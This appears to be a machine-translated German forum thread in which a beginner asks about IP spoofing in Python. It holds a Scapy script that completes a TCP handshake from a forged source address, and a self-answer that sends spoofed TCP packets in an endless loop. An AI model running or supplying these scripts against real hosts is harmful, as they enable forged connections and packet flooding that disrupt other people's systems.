2016-08-15 10 views
1

Kann ein gefälschtes Paket mit einer anderen IP-Quelle gesendet werden? Ich habe im Internet gesucht und ich habe herausgefunden, dass ich Scapy-Bibliothek verwenden muss. Ich dieses Skript, das ich gefunden:IP-Spoofing in Python 3

import sys 
from scapy.all import * 

if len(sys.argv) != 4: 
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>") 
    sys.exit(1) 

target = sys.argv[1] 
spoofed_ip = sys.argv[2] 
port = int(sys.argv[3]) 

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S') 
send(p1) 
print ("Okay, SYN sent. Enter the sniffed sequence number now: ") 

seq=sys.stdin.readline() 
print ("Okay, using sequence number " + seq) 

seq=int(seq[:-1]) 
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A', 
            ack=seq+1,seq=1) 
send(p2) 

print ("Okay, final ACK sent. Check netstat on your target :-)") 

Aber davon habe ich nicht, was es bedeutet, „die schnupperte Sequenznummer Geben Sie jetzt:“

Auch ist es möglich, mit scapy und Verwendung zu vermeiden Socket-Bibliothek statt? Wenn ja, kannst du mir den Weg sagen?

Danke! Ich bin ein Neuling

+0

UP! Wer weiß etwas darüber? – Sperly1987

+0

UP wieder lol ... – Sperly1987

Antwort

1

auf meiner eigenen mit scapy Bibliothek gelöst:

from scapy.all import * 

A = "192.168.1.254" # spoofed source IP address 
B = "192.168.1.105" # destination IP address 
C = RandShort() # source port 
D = 80 # destination port 
payload = "yada yada yada" # packet payload 

while True: 
    spoofed_packet = IP(src=A, dst=B)/TCP(sport=C, dport=D)/payload 
    send(spoofed_packet)